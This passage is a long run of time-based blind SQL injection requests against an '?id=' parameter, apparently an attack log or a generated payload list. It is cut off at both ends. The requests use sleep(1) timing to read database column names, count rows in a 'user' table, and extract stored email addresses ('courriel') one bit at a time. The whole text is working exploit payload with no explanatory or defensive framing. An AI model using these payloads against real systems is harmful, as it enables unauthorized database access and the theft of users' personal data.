8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((select count(*) from user) = 1,sleep(1),0) /?id=1-if((select count(*) from user) = 2,sleep(1),0) /?id=1-if((select count(*) from user) = 3,sleep(1),0) /?id=1-if((select count(*) from user) = 1,sleep(1),0) /?id=1-if((select count(*) from user) = 2,sleep(1),0) /?id=1-if((select count(*) from user) = 3,sleep(1),0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 4, 1) = '0'), 